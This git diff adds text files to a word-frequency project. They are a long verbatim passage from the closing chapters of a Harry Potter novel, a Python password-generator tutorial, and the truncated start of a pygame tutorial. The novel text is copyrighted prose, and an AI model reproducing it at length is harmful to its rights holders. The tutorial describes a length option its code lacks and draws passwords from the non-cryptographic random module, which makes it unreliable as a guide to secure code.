flying- key room, they'll get you out of the trapdoor +and past Fluffy -- go straight to the owlery and send Hedwig to +Dumbledore, we need him. I might be able to hold Snape off for a while, +but I'm no match for him, really." + +"But Harry -- what if You-Know-Who's with him?" + +"Well -- I was lucky once, wasn't I?" said Harry, pointing at his scar. +"I might get lucky again." + +Hermione's lip trembled, and she suddenly dashed at Harry and threw her +arms around him. + +"Hermione!" + +"Harry -- you're a great wizard, you know." + +"I'm not as good as you," said Harry, very embarrassed, as she let go of +him. + +"Me!" said Hermione. "Books! And cleverness! There are more important +things -- friendship and bravery and -- oh Harry -- be careful!" + +"You drink first," said Harry. "You are sure which is which, aren't +you?" + +"Positive," said Hermione. She took a long drink from the round bottle +at the end, and shuddered. + +"It's not poison?" said Harry anxiously. + +"No -- but it's like ice." + +"Quick, go, before it wears off." + +"Good luck -- take care." + +"GO!" + +Hermione turned and walked straight through the purple fire. + +Harry took a deep breath and picked up the smallest bottle. He turned to +face the black flames. + +"Here I come," he said, and he drained the little bottle in one gulp. + +It was indeed as though ice was flooding his body. He put the bottle +down and walked forward; he braced himself, saw the black flames licking +his body, but couldn't feel them -- for a moment he could see nothing +but dark fire -- then he was on the other side, in the last chamber. + +There was already someone there -- but it wasn't Snape. It wasn't even +Voldemort. + + +CHAPTER SEVENTEEN + +THE MAN WITH TWO FACES + +It was Quirrell. + +"You!" gasped Harry. + +Quirrell smiled. His face wasn't twitching at all. + +"Me," he said calmly. "I wondered whether I'd be meeting you here, +Potter." + +"But I thought -- Snape --" + +"Severus?" Quirrell laughed, and it wasn't his usual quivering treble, +either, but cold and sharp. "Yes, Severus does seem the type, doesn't +he? So useful to have him swooping around like an overgrown bat. Next to +him, who would suspect p-p-poor, st-stuttering P-Professor Quirrell?" + +Harry couldn't take it in. This couldn't be true, it couldn't. + +"But Snape tried to kill me!" + +"No, no, no. I tried to kill you. Your friend Miss Granger accidentally +knocked me over as she rushed to set fire to Snape at that Quidditch +match. She broke my eye contact with you. Another few seconds and I'd +have got you off that broom. I'd have managed it before then if Snape +hadn't been muttering a countercurse, trying to save you." + +"Snape was trying to save me?" + +"Of course," said Quirrell coolly. "\Why do you think he wanted to +referee your next match? He was trying to make sure I didn't do it +again. Funny, really... he needn't have bothered. I couldn't do anything +with Dumbledore watching. All the other teachers thought Snape was +trying to stop Gryffindor from winning, he did make himself unpopular... +and what a waste of time, when after all that, I'm going to kill you +tonight." + +Quirrell snapped his fingers. Ropes sprang out of thin air and wrapped +themselves tightly around Harry. + +"You're too nosy to live, Potter. Scurrying around the school on +Halloween like that, for all I knew you'd seen me coming to look at what +was guarding the Stone." + +"You let the troll in?" + +"Certainly. I have a special gift with trolls -- you must have seen what +I did to the one in the chamber back there? Unfortunately, while +everyone else was running around looking for it, Snape, who already +suspected me, went straight to the third floor to head me off -- and not +only did my troll fail to beat you to death, that three-headed dog +didn't even manage to bite Snape's leg off properly. + +"Now, wait quietly, Potter. I need to examine this interesting mirror. + +It was only then that Harry realized what was standing behind Quirrell. +It was the Mirror of Erised. + +"This mirror is the key to finding the Stone," Quirrell murmured, +tapping his way around the frame. "Trust Dumbledore to come up with +something like this... but he's in London... I'll be far away by the +time he gets back...." + +All Harry could think of doing was to keep Quirrell talking and stop him +from concentrating on the mirror. + +"I saw you and Snape in the forest --" he blurted out. + +"Yes," said Quirrell idly, walking around the mirror to look at the +back. "He was on to me by that time, trying to find out how far I'd got. +He suspected me all along. Tried to frighten me - as though he could, +when I had Lord Voldemort on my side...." + +Quirrell came back out from behind the mirror and stared hungrily into +it. + +"I see the Stone... I'm presenting it to my master... but where is it?" + +Harry struggled against the ropes binding him, but they didn't give. He +had to keep Quirrell from giving his whole attention to the mirror. + +"But Snape always seemed to hate me so much." + +"Oh, he does," said Quirrell casually, "heavens, yes. He was at Hogwarts +with your father, didn't you know? They loathed each other. But he never +wanted you dead." + +"But I heard you a few days ago, sobbing -- I thought Snape was +threatening you...." + +For the first time, a spasm of fear flitted across Quirrell's face. + +"Sometimes," he said, "I find it hard to follow my master's instructions +-- he is a great wizard and I am weak --" + +"You mean he was there in the classroom with you?" Harry gasped. + +"He is with me wherever I go," said Quirrell quietly. "I met him when I +traveled around the world. A foolish young man I was then, full of +ridiculous ideas about good and evil. Lord Voldemort showed me how wrong +I was. There is no good and evil, there is only power, and those too +weak to seek it.... Since then, I have served him faithfully, although I +have let him down many times. He has had to be very hard on me." +Quirrell shivered suddenly. "He does not forgive mistakes easily. When I +failed to steal the stone from Gringotts, he was most displeased. He +punished me... decided he would have to keep a closer watch on me...." + +Quirrell's voice trailed away. Harry was remembering his trip to Diagon +Alley -how could he have been so stupid? He'd seen Quirrell there that +very day, shaken hands with him in the Leaky Cauldron. + +Quirrell cursed under his breath. + +"I don't understand... is the Stone inside the mirror? Should I break +it?" + +Harry's mind was racing. + +What I want more than anything else in the world at the moment, he +thought, is to find the Stone before Quirrell does. So if I look in the +mirror, I should see myseff finding it -- which means I'll see where +it's hidden! But how can I look without Quirrell realizing what I'm up +to? + +He tried to edge to the left, to get in front of the glass without +Quirrell noticing, but the ropes around his ankles were too tight: he +tripped and fell over. Quirrell ignored him. He was still talking to +himself. "What does this mirror do? How does it work? Help me, Master!" + +And to Harry's horror, a voice answered, and the voice seemed to come +from Quirrell himself + +"Use the boy... Use the boy..." + +Quirrell rounded on Harry. + +"Yes -- Potter -- come here." + +He clapped his hands once, and the ropes binding Harry fell off. Harry +got slowly to his feet. + +"Come here," Quirrell repeated. "Look in the mirror and tell me what you +see." + +Harry walked toward him. + +I must lie, he thought desperately. I must look and lie about what I +see, that's all. + +Quirrell moved close behind him. Harry breathed in the funny smell that +seemed to come from Quirrell's turban. He closed his eyes, stepped in +front of the mirror, and opened them again. + +He saw his reflection, pale and scared-looking at first. But a moment +later, the reflection smiled at him. It put its hand into its pocket and +pulled out a blood-red stone. It winked and put the Stone back in its +pocket -- and as it did so, Harry felt something heavy drop into his +real pocket. Somehow -- incredibly -- he'd gotten the Stone. + +"Well?" said Quirrell impatiently. "What do you see?" + +Harry screwed up his courage. + +"I see myself shaking hands with Dumbledore," he invented. "I -- I've +won the house cup for Gryffindor." + +Quirrell cursed again. + +"Get out of the way," he said. As Harry moved aside, he felt the +Sorcerer's Stone against his leg. Dare he make a break for it? + +But he hadn't walked five paces before a high voice spoke, though +Quirrell wasn't moving his lips. + +"He lies... He lies..." + +"Potter, come back here!" Quirrell shouted. "Tell me the truth! What did +you just see?" + +The high voice spoke again. + +"Let me speak to him... face-to-face..." + +"Master, you are not strong enough!" + +"I have strength enough... for this...." + +Harry felt as if Devil's Snare was rooting him to the spot. He couldn't +move a muscle. Petrified, he watched as Quirrell reached up and began to +unwrap his turban. What was going on? The turban fell away. Quirrell's +head looked strangely small without it. Then he turned slowly on the +spot. + +Harry would have screamed, but he couldn't make a sound. Where there +should have been a back to Quirrell's head, there was a face, the most +terrible face Harry had ever seen. It was chalk white with glaring red +eyes and slits for nostrils, like a snake. + +"Harry Potter..." it whispered. + +Harry tried to take a step backward but his legs wouldn't move. + +"See what I have become?" the face said. "Mere shadow and vapor ... I +have form only when I can share another's body... but there have always +been those willing to let me into their hearts and minds.... Unicorn +blood has strengthened me, these past weeks... you saw faithful Quirrell +drinking it for me in the forest... and once I have the Elixir of Life, +I will be able to create a body of my own.... Now... why don't you give +me that Stone in your pocket?" + +So he knew. The feeling suddenly surged back into Harry's legs. He +stumbled backward. + +"Don't be a fool," snarled the face. "Better save your own life and join +me... or you'll meet the same end as your parents.... They died begging +me for mercy..." + +"LIAR!" Harry shouted suddenly. + +Quirrell was walking backward at him, so that Voldemort could still see +him. The evil face was now smiling. + +"How touching..." it hissed. "I always value bravery... Yes, boy, your +parents were brave.... I killed your father first; and he put up a +courageous fight... but your mother needn't have died... she was trying +to protect you.... Now give me the Stone, unless you want her to have +died in vain." + +"NEVER!" + +Harry sprang toward the flame door, but Voldemort screamed "SEIZE HIM!" +and the next second, Harry felt Quirrell's hand close on his wrist. At +once, a needle-sharp pain seared across Harry's scar; his head felt as +though it was about to split in two; he yelled, struggling with all his +might, and to his surprise, Quirrell let go of him. The pain in his head +lessened -- he looked around wildly to see where Quirrell had gone, and +saw him hunched in pain, looking at his fingers -- they were blistering +before his eyes. + +"Seize him! SEIZE HIM!" shrieked Voldemort again, and Quirrell lunged, +knocking Harry clean off his feet' landing on top of him, both hands +around Harry's neck -- Harry's scar was almost blinding him with pain, +yet he could see Quirrell howling in agony. + +"Master, I cannot hold him -- my hands -- my hands!" + +And Quirrell, though pinning Harry to the ground with his knees, let go +of his neck and stared, bewildered, at his own palms -- Harry could see +they looked burned, raw, red, and shiny. + +"Then kill him, fool, and be done!" screeched Voldemort. + +Quirrell raised his hand to perform a deadly curse, but Harry, by +instinct, reached up and grabbed Quirrell's face -- + +"AAAARGH!" + +Quirrell rolled off him, his face blistering, too, and then Harry knew: +Quirrell couldn't touch his bare skin, not without suffering terrible +pain -- his only chance was to keep hold of Quirrell, keep him in enough +pain to stop him from doing a curse. + +Harry jumped to his feet, caught Quirrell by the arm, and hung on as +tight as he could. Quirrell screamed and tried to throw Harry off -- the +pain in Harry's head was building -- he couldn't see -- he could only +hear Quirrell's terrible shrieks and Voldemort's yells of, "KILL HIM! +KILL HIM!" and other voices, maybe in Harry's own head, crying, "Harry! +Harry!" + +He felt Quirrell's arm wrenched from his grasp, knew all was lost, and +fell into blackness, down ... down... down... + +Something gold was glinting just above him. The Snitch! He tried to +catch it, but his arms were too heavy. + +He blinked. It wasn't the Snitch at all. It was a pair of glasses. How +strange. + +He blinked again. The smiling face of Albus Dumbledore swam into view +above him. + +"Good afternoon, Harry," said Dumbledore. Harry stared at him. Then he +remembered: "Sir! The Stone! It was Quirrell! He's got the Stone! Sir, +quick --" + +"Calm yourself, dear boy, you are a little behind the times," said +Dumbledore. "Quirrell does not have the Stone." + +"Then who does? Sir, I --" + +"Harry, please relax, or Madam Pomfrey will have me thrown out. + +Harry swallowed and looked around him. He realized he must be in the +hospital wing. He was lying in a bed with white linen sheets, and next +to him was a table piled high with what looked like half the candy shop. + +"Tokens from your friends and admirers," said Dumbledore, beaming. "What +happened down in the dungeons between you and Professor Quirrell is a +complete secret, so, naturally, the whole school knows. I believe your +friends Misters Fred and George Weasley were responsible for trying to +send you a toilet seat. No doubt they thought it would amuse you. Madam +Pomfrey, however, felt it might not be very hygienic, and confiscated +it." + +"How long have I been in here?" + +"Three days. Mr. Ronald Weasley and Miss Granger will be most relieved +you have come round, they have been extremely worried." + +"But sit, the Stone + +I see you are not to be distracted. Very well, the Stone. Professor +Quirrell did not manage to take it from you. I arrived in time to +prevent that, although you were doing very well on your own, I must say. + +"You got there? You got Hermione's owl?" + +"We must have crossed in midair. No sooner had I reached London than it +became clear to me that the place I should be was the one I had just +left. I arrived just in time to pull Quirrell off you." + +"It was you." + +"I feared I might be too late." + +"You nearly were, I couldn't have kept him off the Stone much longer --" + +"Not the Stone, boy, you -- the effort involved nearly killed you. For +one terrible moment there, I was afraid it had. As for the Stone, it has +been destroyed." + +"Destroyed?" said Harry blankly. "But your friend -- Nicolas Flamel --" + +"Oh, you know about Nicolas?" said Dumbledore, sounding quite delighted. +"You did do the thing properly, didn't you? Well, Nicolas and I have had +a little chat, and agreed it's all for the best." + +"But that means he and his wife will die, won't they?" + +"They have enough Elixir stored to set their affairs in order and then, +yes, they will die." + +Dumbledore smiled at the look of amazement on Harry's face. + +"To one as young as you, I'm sure it seems incredible, but to Nicolas +and Perenelle, it really is like going to bed after a very, very long +day. After all, to the well-organized mind, death is but the next great +adventure. You know, the Stone was really not such a wonderful thing. As +much money and life as you could want! The two things most human beings +would choose above all -- the trouble is, humans do have a knack of +choosing precisely those things that are worst for them." Harry lay +there, lost for words. Dumbledore hummed a little and smiled at the +ceiling. + +"Sir?" said Harry. "I've been thinking... sir -- even if the Stone's +gone, Vol-, I mean, You-Know- Who --" + +"Call him Voldemort, Harry. Always use the proper name for things. Fear +of a name increases fear of the thing itself." + +"Yes, sir. Well, Voldemort's going to try other ways of coming back, +isn't he? I mean, he hasn't gone, has he?" + +"No, Harry, he has not. He is still out there somewhere, perhaps looking +for another body to share... not being truly alive, he cannot be killed. +He left Quirrell to die; he shows just as little mercy to his followers +as his enemies. Nevertheless, Harry, while you may only have delayed his +return to power, it will merely take someone else who is prepared to +fight what seems a losing battle next time -- and if he is delayed +again, and again, why, he may never return to power." + +Harry nodded, but stopped quickly, because it made his head hurt. Then +he said, "Sir, there are some other things I'd like to know, if you can +tell me... things I want to know the truth about...." + +"The truth." Dumbledore sighed. "It is a beautiful and terrible thing, +and should therefore be treated with great caution. However, I shall +answer your questions unless I have a very good reason not to, in which +case I beg you'll forgive me. I shall not, of course, lie." + +"Well... Voldemort said that he only killed my mother because she tried +to stop him from killing me. But why would he want to kill me in the +first place?" + +Dumbledore sighed very deeply this time. + +"Alas, the first thing you ask me, I cannot tell you. Not today. Not +now. You will know, one day... put it from your mind for now, Harry. +When you are older... I know you hate to hear this... when you are +ready, you will know." + +And Harry knew it would be no good to argue. + +"But why couldn't Quirrell touch me?" + +"Your mother died to save you. If there is one thing Voldemort cannot +understand, it is love. He didn't realize that love as powerful as your +mother's for you leaves its own mark. Not a scar, no visible sign... to +have been loved so deeply, even though the person who loved us is gone, +will give us some protection forever. It is in your very skin. Quirrell, +full of hatred, greed, and ambition, sharing his soul with Voldemort, +could not touch you for this reason. It was agony to touch a person +marked by something so good." + +Dumbledore now became very interested in a bird out on the windowsill, +which gave Harry time to dry his eyes on the sheet. When he had found +his voice again, Harry said, "And the invisibility cloak - do you know +who sent it to me?" + +"Ah - your father happened to leave it in my possession, and I thought +you might like it." Dumbledore's eyes twinkled. "Useful things... your +father used it mainly for sneaking off to the kitchens to steal food +when he was here." + +"And there's something else..." + +"Fire away." + +"Quirrell said Snape --" + +"Professor Snape, Harry." "Yes, him -- Quirrell said he hates me because +he hated my father. Is that true?" + +"Well, they did rather detest each other. Not unlike yourself and Mr. +Malfoy. And then, your father did something Snape could never forgive." + +"What?" + +"He saved his life." + +"What?" + +"Yes..." said Dumbledore dreamily. "Funny, the way people's minds work, +isn't it? Professor Snape couldn't bear being in your father's debt.... +I do believe he worked so hard to protect you this year because he felt +that would make him and your father even. Then he could go back to +hating your father's memory in peace...." + +Harry tried to understand this but it made his head pound, so he +stopped. + +"And sir, there's one more thing..." + +"Just the one?" + +"How did I get the Stone out of the mirror?" + +"Ah, now, I'm glad you asked me that. It was one of my more brilliant +ideas, and between you and me, that's saying something. You see, only +one who wanted to find the Stone -- find it, but not use it -- would be +able to get it, otherwise they'd just see themselves making gold or +drinking Elixir of Life. My brain surprises even me sometimes.... Now, +enough questions. I suggest you make a start on these sweets. Ah! Bettie +Bott's Every Flavor Beans! I was unfortunate enough in my youth to come +across a vomitflavored one, and since then I'm afraid I've rather lost +my liking for them -- but I think I'll be safe with a nice toffee, don't +you?" + +He smiled and popped the golden-brown bean into his mouth. Then he +choked and said, "Alas! Ear wax!" + +Madam Pomfrey, the nurse, was a nice woman, but very strict. + +"Just five minutes," Harry pleaded. + +"Absolutely not." + +"You let Professor Dumbledore in..." + +"Well, of course, that was the headmaster, quite different. You need +rest." + +"I am resting, look, lying down and everything. Oh, go on, Madam +Pomfrey..." + +"Oh, very well," she said. "But five minutes only." + +And she let Ron and Hermione in. + +"Harry!" + +Hermione looked ready to fling her arms around him again, but Harry was +glad she held herself in as his head was still very sore. + +"Oh, Harry, we were sure you were going to -- Dumbledore was so worried +--" + +"The whole school's talking about it," said Ron. "What really happened?" + +It was one of those rare occasions when the true story is even more +strange and exciting than the wild rumors. Harry told them everything: +Quirrell; the mirror; the Stone; and Voldemort. Ron and Hermione were a +very good audience; they gasped in all the right places, and when Harry +told them what was under Quirrell's turban, Hermione screamed out loud. + +"So the Stone's gone?" said Ron finally. "Flamel's just going to die?" + +"That's what I said, but Dumbledore thinks that -- what was it? -- 'to +the well-organized mind, death is but the next great adventure. + +"I always said he was off his rocker," said Ron, looking quite impressed +at how crazy his hero was. + +"So what happened to you two?" said Harry. + +"Well, I got back all right," said Hermione. "I brought Ron round -- +that took a while -- and we were dashing up to the owlery to contact +Dumbledore when we met him in the entrance hall -- he already knew -- he +just said, 'Harry's gone after him, hasn't he?' and hurtled off to the +third floor." + +"D'you think he meant you to do it?" said Ron. "Sending you your +father's cloak and everything?" + +"Well, " Hermione exploded, "if he did -- I mean to say that's terrible +-- you could have been killed." + +"No, it isn't," said Harry thoughtfully. "He's a funny man, Dumbledore. +I think he sort of wanted to give me a chance. I think he knows more or +less everything that goes on here, you know. I reckon he had a pretty +good idea we were going to try, and instead of stopping us, he just +taught us enough to help. I don't think it was an accident he let me +find out how the mirror worked. It's almost like he thought I had the +right to face Voldemort if I could...." + +"Yeah, Dumbledore's off his rocker, all right," said Ron proudly. +"Listen, you've got to be up for the end-of-year feast tomorrow. The +points are all in and Slytherin won, of course -- you missed the last +Quidditch match, we were steamrollered by Ravenclaw without you -- but +the food'll be good." + +At that moment, Madam Pomfrey bustled over. + +"You've had nearly fifteen minutes, now OUT" she said firmly. + +After a good night's sleep, Harry felt nearly back to normal. + +I want to go to the feast," he told Madam Pomfrey as she straightened +his many candy boxes. I can, can't I?" + +"Professor Dumbledore says you are to be allowed to go," she said +stiffily, as though in her opinion Professor Dumbledore didn't realize +how risky feasts could be. "And you have another visitor." + +"Oh, good," said Harry. "Who is it?" + +Hagrid sidled through the door as he spoke. As usual when he was +indoors, Hagrid looked too big to be allowed. He sat down next to Harry, +took one look at him, and burst into tears. + +"It's -- all -- my -- ruddy -- fault!" he sobbed, his face in his hands. +I told the evil git how ter get past Fluffy! I told him! It was the only +thing he didn't know, an' I told him! Yeh could've died! All fer a +dragon egg! I'll never drink again! I should be chucked out an' made ter +live as a Muggle!" + +"Hagrid!" said Harry, shocked to see Hagrid shaking with grief and +remorse, great tears leaking down into his beard. "Hagrid, he'd have +found out somehow, this is Voldemort we're talking about, he'd have +found out even if you hadn't told him." + +"Yeh could've died!" sobbed Hagrid. "An' don' say the name!" + +"VOLDEMORT!" Harry bellowed, and Hagrid was so shocked, he stopped +crying. "I've met him and I'm calling him by his name. Please cheer up, +Hagrid, we saved the Stone, it's gone, he can't use it. Have a Chocolate +Frog, I've got loads...." + +Hagrid wiped his nose on the back of his hand and said, "That reminds +me. I've got yeh a present." + +"It's not a stoat sandwich, is it?" said Harry anxiously, and at last +Hagrid gave a weak chuckle. "Nah. Dumbledore gave me the day off +yesterday ter fix it. 'Course, he shoulda sacked me instead -- anyway, +got yeh this..." + +It seemed to be a handsome, leather-covered book. Harry opened it +curiously. It was full of wizard photographs. Smiling and waving at him +from every page were his mother and father. + +"Sent owls off ter all yer parents' old school friends, askin' fer +photos... knew yeh didn' have any... d'yeh like it?" + +Harry couldn't speak, but Hagrid understood. + +Harry made his way down to the end-of-year feast alone that night. He +had been held up by Madam Pomfrey's fussing about, insisting on giving +him one last checkup, so the Great Hall was already full. It was decked +out in the Slytherin colors of green and silver to celebrate Slytherin's +winning the house cup for the seventh year in a row. A huge banner +showing the Slytherin serpent covered the wall behind the High Table. + +When Harry walked in there was a sudden hush, and then everybody started +talking loudly at once. He slipped into a seat between Ron and Hermione +at the Gryffindor table and tried to ignore the fact that people were +standing up to look at him. + +Fortunately, Dumbledore arrived moments later. The babble died away. + +"Another year gone!" Dumbledore said cheerfully. "And I must trouble you +with an old man's wheezing waffle before we sink our teeth into our +delicious feast. What a year it has been! Hopefully your heads are all a +little fuller than they were... you have the whole summer ahead to get +them nice and empty before next year starts.... + +"Now, as I understand it, the house cup here needs awarding, and the +points stand thus: In fourth place, Gryffindor, with three hundred and +twelve points; in third, Hufflepuff, with three hundred and fifty-two; +Ravenclaw has four hundred and twenty-six and Slytherin, four hundred +and seventy- two." + +A storm of cheering and stamping broke out from the Slytherin table. +Harry could see Draco Malfoy banging his goblet on the table. It was a +sickening sight. + +"Yes, Yes, well done, Slytherin," said Dumbledore. "However, recent +events must be taken into account." + +The room went very still. The Slytherins' smiles faded a little. + +"Ahem," said Dumbledore. "I have a few last-minute points to dish out. +Let me see. Yes... + +"First -- to Mr. Ronald Weasley..." + +Ron went purple in the face; he looked like a radish with a bad sunburn. + +"...for the best-played game of chess Hogwarts has seen in many years, I +award Gryffindor house fifty points." + +Gryffindor cheers nearly raised the bewitched ceiling; the stars +overhead seemed to quiver. Percy could be heard telling the other +prefects, "My brother, you know! My youngest brother! Got past +McGonagall's giant chess set!" + +At last there was silence again. + +"Second -- to Miss Hermione Granger... for the use of cool logic in the +face of fire, I award Gryffindor house fifty points." + +Hermione buried her face in her arms; Harry strongly suspected she had +burst into tears. Gryffindors up and down the table were beside +themselves -- they were a hundred points up. "Third -- to Mr. Harry +Potter..." said Dumbledore. The room went deadly quiet for pure nerve +and outstanding courage, I award Gryffindor house sixty points." + +The din was deafening. Those who could add up while yelling themselves +hoarse knew that Gryffindor now had four hundred and seventy-two points +-- exactly the same as Slytherin. They had tied for the house cup -- if +only Dumbledore had given Harry just one more point. + +Dumbledore raised his hand. The room gradually fell silent. + +"There are all kinds of courage," said Dumbledore, smiling. "It takes a +great deal of bravery to stand up to our enemies, but just as much to +stand up to our friends. I therefore award ten points to Mr. Neville +Longbottom." + +Someone standing outside the Great Hall might well have thought some +sort of explosion had taken place, so loud was the noise that erupted +from the Gryffindor table. Harry, Ron, and Hermione stood up to yell and +cheer as Neville, white with shock, disappeared under a pile of people +hugging him. He had never won so much as a point for Gryffindor before. +Harry, still cheering, nudged Ron in the ribs and pointed at Malfoy, who +couldn't have looked more stunned and horrified if he'd just had the +Body-Bind Curse put on him. + +"Which means, Dumbledore called over the storm of applause, for even +Ravenclaw and Hufflepuff were celebrating the downfall of Slytherin, "we +need a little change of decoration." + +He clapped his hands. In an instant, the green hangings became scarlet +and the silver became gold; the huge Slytherin serpent vanished and a +towering Gryffindor lion took its place. Snape was shaking Professor +McGonagall's hand, with a horrible, forced smile. He caught Harry's eye +and Harry knew at once that Snape's feelings toward him hadn't changed +one jot. This didn't worry Harry. It seemed as though life would be back +to normal next year, or as normal as it ever was at Hogwarts. + +It was the best evening of Harry's life, better than winning at +Quidditch, or Christmas, or knocking out mountain trolls... he would +never, ever forget tonight. + +Harry had almost forgotten that the exam results were still to come, but +come they did. To their great surprise, both he and Ron passed with good +marks; Hermione, of course, had the best grades of the first years. Even +Neville scraped through, his good Herbology mark making up for his +abysmal Potions one. They had hoped that Goyle, who was almost as stupid +as he was mean, might be thrown out, but he had passed, too. It was a +shame, but as Ron said, you couldn't have everything in life. + +And suddenly, their wardrobes were empty, their trunks were packed, +Neville's toad was found lurking in a corner of the toilets; notes were +handed out to all students, warning them not to use magic over the +holidays ("I always hope they'll forget to give us these," said Fred +Weasley sadly); Hagrid was there to take them down to the fleet of boats +that sailed across the lake; they were boarding the Hogwarts Express; +talking and laughing as the countryside became greener and tidier; +eating Bettie Bott's Every Flavor Beans as they sped past Muggle towns; +pulling off their wizard robes and putting on jackets and coats; pulling +into platform nine and three-quarters at King's Cross Station. + +It took quite a while for them all to get off the platform. A wizened +old guard was up by the ticket barrier, letting them go through the gate +in twos and threes so they didn't attract attention by all bursting out +of a solid wall at once and alarming the Muggles. + +"You must come and stay this summer," said Ron, "both of you -- I'll +send you an owl." + +"Thanks," said Harry, "I'll need something to look forward to." People +jostled them as they moved forward toward the gateway back to the Muggle +world. Some of them called: + +"Bye, Harry!" + +"See you, Potter!" + +"Still famous," said Ron, grinning at him. + +"Not where I'm going, I promise you," said Harry. + +He, Ron, and Hermione passed through the gateway together. "There he is, +Mom, there he is, look!" + +It was Ginny Weasley, Ron's younger sister, but she wasn't pointing at +Ron. + +"Harry Potter!" she squealed. "Look, Mom! I can see + +"Be quiet, Ginny, and it's rude to point." + +Mrs. Weasley smiled down at them. + +"Busy year?" she said. + +"Very," said Harry. "Thanks for the fudge and the sweater, Mrs. +Weasley." + +"Oh, it was nothing, dear." + +"Ready, are you?" + +It was Uncle Vernon, still purple-faced, still mustached, still looking +furious at the nerve of Harry, carrying an owl in a cage in a station +full of ordinary people. Behind him stood Aunt Petunia and Dudley, +looking terrified at the very sight of Harry. + +"You must be Harry's family!" said Mrs. Weasley. + +"In a manner of speaking," said Uncle Vernon. "Hurry up, boy, we haven't +got all day." He walked away. + +Harry hung back for a last word with Ron and Hermione. + +"See you over the summer, then." + +"Hope you have -- er -- a good holiday," said Hermione, looking +uncertainly after Uncle Vernon, shocked that anyone could be so +unpleasant. + +"Oh, I will," said Harry, and they were surprised at the grin that was +spreading over his face. "They don't know we're not allowed to use magic +at home. I'm going to have a lot of fun with Dudley this summer...." + +THE END \ No newline at end of file diff --git a/general/zipf-curve/texts/How to Make a Password Generator in Python.txt b/general/zipf-curve/texts/How to Make a Password Generator in Python.txt new file mode 100644 index 00000000..b53c324f --- /dev/null +++ b/general/zipf-curve/texts/How to Make a Password Generator in Python.txt @@ -0,0 +1,172 @@ +# Password Generator with Python +**How to make a password generator with python and its modules argparse and random** + +## Idea +In this tutorial, we will make a Command-line tool for generating passwords. We will use the argparse module to make it easier to parse the command line arguments the user has provided. We make it so the user can define the letters which should be included, how many passwords should be created and if they shall be saved to a .txt file. + +Let us get started. + +## Imports +Let us import some Modules. For this program, we just need the `ArgumentParser` Class from `argparse` and the `shuffle()` and `choice()` functions from `random`. We also get the `string` module, which has some letters and numbers collections. We don't have to install any of these because they come with python. + +```python +from argparse import ArgumentParser +from random import shuffle, choice +import string +``` + +## Setting up the argument parser. + +Now we continue with setting up the argument parser. To do this we sav,e a new instance of the `ArgumentParser` class to our `parser` variable. We give the parser a name and a description. This information will appear if the user provides the `-h` argument when running our program, it will also tell them the possible arguments. + +```python +# Setting up the Argument Parser +parser = ArgumentParser( + prog='Password Generator.', + description='Generate any number of passwords with this tool.' +) +``` + +We continue by adding arguments to the parser. The first four will be the amounts of each character type. That's why we set them all to 2 by default. We check if they are of type integer. + +```python +# Adding the arguments to the parser +parser.add_argument('-numNumbers', default=2, type=int) +parser.add_argument('-numLowercaseLetters', default=2, type=int) +parser.add_argument('-numCapitalLetters', default=2, type=int) +parser.add_argument('-numSpecialChars', default=2, type=int) +``` + +The subsequent two arguments are the desired length and the number of passwords. We set the length to be eight by default because most platforms have this requirement. We check for the length and amount if it is of type int because a string or float would not make sense in this case. The store argument is a flag that just tells the program whether to store the passwords in a text file or not. By default, this is false that is why the action is `"store_true"`. + +```python +# The amount is a number so we check it to be of type int. +parser.add_argument('-amount', default=1, type=int) +parser.add_argument('-store', default=False, action='https://github.com/store_true') +``` + +Last but not least we parse the command line for these arguments with the `parse_args()` method of the `ArgumentParser` class. If we don't call this method the parser won't check for anything and won't raise any exceptions. + +```python +# Parsing the command line arguments. +arguments = parser.parse_args() +``` + +## The Password Loop + +We continue with the main part of the program: the Password loop. Here we generate the number of passwords specified by the user. + +That is why we define a passwords list that will hold all the generated passwords. We don't need the number which is returned by the range generator. + +```python +passwords = [] + +# Looping through the number of passwords. +for _ in range(int(arguments.amount)): +``` + +After that, we make a password list which will first hold all the possible letters and then the password string. + +```python +password = [] +``` + +Now we add the possible letters, numbers, and special characters to the password list. For each of the types, we check if it is true in the namespace of the parser. We get the respective letters from the string module. + +```python + # If / how many Numbers the password should contain + for _ in range(arguments.numNumbers): + password.append(choice(string.digits)) + + # If / how many Capital Characters the password should contain + for _ in range(arguments.numCapitalLetters): + password.append(choice(string.ascii_uppercase)) + + # If / how many lowercase Characters the password should contain + for _ in range(arguments.numLowercaseLetters): + password.append(choice(string.ascii_lowercase)) + + # If / how many Special Characters the password should contain + for _ in range(arguments.numSpecialChars): + password.append(choice(string.punctuation)) +``` + +Then we use the `shuffle` function from `random` to mix up the list. This is done in place. + +```python + # Shuffle the list with all the possible letters, numbers, and symbols. + shuffle(password) +``` + +After this, we get the first items of the list until the length specified by the user and then we join the resulting with `""` so we have the string version of it. + +```python + # Get the letters of the string up to the length argument and then join them. + password = ''.join(password) +``` + +Last but not least we append this password to the passwords list. + +```python + # Append this password to the overall list of passwords. + passwords.append(password) +``` + +## Saving the Passwords + +After the password loop, we check if the user said he or she wanted to save the passwords to a file. if that is the case we simply open a file, which will be made if it does not exist. + +```python +# Store the password to a .txt file. +if arguments.store: + with open('passwords.txt', 'w') as f: + f.write('\n'.join(passwords)) +``` + +In all cases, we print out the passwords. + +```python +print('\n'.join(passwords)) +``` + + +## Examples + +Now you will see some useful examples of the generator. Keep in mind this will be different for you. + +``` +C:\Users\Maxim> main.py +^G~0,NU4 +``` +``` +C:\Users\Maxim> main.py -amount 5 +j@BJk#IO +F~§!]G_E +nGg#MAW- +fh=5c)-§ +cjFPy?]A +``` +``` +C:\Users\Maxim> main.py -amount 2 +1*~G^n%K +2ouVq)ç¬ +``` +``` +C:\Users\Maxim> main.py -numCapitalLetters 6 +O1AdJ]FQmR&7 +``` +## Imports + +## Setting up the argument parser. + +## Specifying the possible characters. + +**show trick to speed up process** + +## The Password Loop + +## Saving the Passwords + +## Conclusion + +Excellent! You have successfully created a Password Generator using Python code! See how you can add more features to this program such as hashing the passwords or more options. diff --git a/general/zipf-curve/texts/Planet Simulation with Python and Pygame.txt b/general/zipf-curve/texts/Planet Simulation with Python and Pygame.txt new file mode 100644 index 00000000..896c028e --- /dev/null +++ b/general/zipf-curve/texts/Planet Simulation with Python and Pygame.txt @@ -0,0 +1,222 @@ +# Planet Simulation with Python and Pygame +**How to make a planet-class with python and its game-making module pygame.** + +## Idea +In this tutorial, we are going to make a little planet simulation with python and the game-making library pygame. Pygame has a handy vector class that can help us when simulating the planets and their heading. + +So let us start with the imports. + +## Imports + +All of the modules we import are built-in except the pygame library, which we have to install with `pip install pygame`. We also need `sys`, but it will simply be used to stop the game when pressing on the x at the top left of the 